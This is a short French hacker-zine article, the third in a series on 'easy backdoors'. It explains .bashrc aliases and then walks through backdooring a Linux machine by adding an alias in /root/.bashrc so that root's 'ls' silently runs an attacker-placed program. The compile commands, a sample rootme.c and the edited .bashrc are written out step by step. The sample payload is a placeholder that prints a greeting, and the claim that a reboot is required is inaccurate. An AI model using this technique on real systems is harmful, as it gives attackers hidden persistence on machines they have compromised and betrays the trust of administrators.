Backdoors "faciles" (3/..)
hihihi (16/09/2K)
Les alias du .bashrc
Cinac





Pas d'intro, pas de rubrique particuliere, cet article va être tellement court que je n'en voit pas l'utilité. Sous Linux vous avez deja du voir des fichiers dont les noms commencent par un "."

Non? ah bien c'est peut être parce qu'il s'ont invisible au ls normal. En effet il faut faire un ls -a pour pouvoir les apercevoir. Suffisait de faire ls --help pour le savoir enfin bon la discution n'est pas centrée la dessus heureusement :)

Si vous faites un ls -a dans /root vous allez voir un certain nombre de fichier commençant par "." dont les utilités sont diverses, des scripts de config, de log de commande... Parmis ceux ci il existe un .bashrc

Ce fichier permet entre autre de definir des alias ce qui est bien pratique pour gagner du temps. Voici le contenu de mon /root/.bashrc pour que vous voyez un peu de quoi ça à l'air:

#cat .bashrc
   # .bashrc
   # User specific aliases and functions
   alias rm='rm -i'
   alias cp='cp -i'
   alias mv='mv -i'
   # Source global definitions
   if [ -f /etc/bashrc ]; then
    . /etc/bashrc
   fi
#

Comme vous l'aurez remarqué c'est loin d'etre sorcié. Un alias crée permet de faire correspondre une commande a un programme avec son chemin (ici il n'est pas précisé car il se sert du PATH) un nom de programme et une option (pas obligé de specifier une option).

Par exemple si vous voulez qu'un ls fasse toujours un ls -a pour toujours pouvoir voir les fichiers dont le nom commence par ".", a votre guise. Il suffit de taper cette ligne dans .bashrc:

alias ls='ls -a'

Mais il y a bien entendu des tas d'alias interressants comme pouvoir afficher le résultat d'un ls en couleur ou même d'un dir. Pour ceci faites cela: ;)

alias ls='ls --color=auto'
alias dir='dir --color=auto'

Bien sûr si vous avez deux (ou plus) alias avec un nom de commande identique, concaténez les deux options et ne faites qu'une ligne.

Comme sous Windows où les paramêtres utilisateurs sont spécifiques à chaque utilisateur (voir l'article sur le vb parlant de la base de registre), il en va de meme sous Linux. Il existe donc un .bashrc par utilisateur et ils se trouvent bien entendu dans le répertoire home de chaque utilisateur (que vous l'ayez déjà paramètré ou non bien entendu).

L'interêt pour nous de nous interesser a ce fichier, autre que la culture dont nous sommes friants, c'est de pouvoir backdoorer la machine car le systeme se fout royalement que l'alias et le nom du programme appelé soit le même (sinon ça ne serait pas des alias) donc il est très possible de rajouter une ligne dans /root/.bashrc permettant de faire lancer au systeme un /home/Cinac/rootme quand le root tappe ls. Pour cela on vire tous les alias concernant ls du .bashrc car la on ne peut pas concatener vu qu'il y a appel à deux programmes differents. Et on fait comme suit.

#vi /home/Cinac/rootme.c
   #include <stdio.h>
   main()
   {
      printf("salut :)\n");
      system("/bin/ls");
      return(0);
   }
:wq!
#cc rootme.c -o rootme
#cd
#vi .bashrc
   # .bashrc
   # User specific aliases and functions
   alias rm='rm -i'
   alias cp='cp -i'
   alias mv='mv -i'
   alias ls='/home/Cinac/rootme'
   # Source global definitions
   if [ -f /etc/bashrc ]; then
    . /etc/bashrc
   fi
:wq!
#reboot

Et voilà. Ah ouais pourquoi reboot? Vous êtes pas obligé bien entendu mais c'est juste parce que les modofications ne sont prisent en compte que quand vous rebootez :( mais bon il rebootera bien un jour et comme de toute maniere vous devez etre root (enfin si c'est le /root/.bashrc qui vous interresse) autant rebooter le systeme vous même ;)

Cet article a bien illustré son titre: "Backdoors faciles" :)
Vais me roulez un splif pour la peine ;)
 
 

Coding Is Not A Crime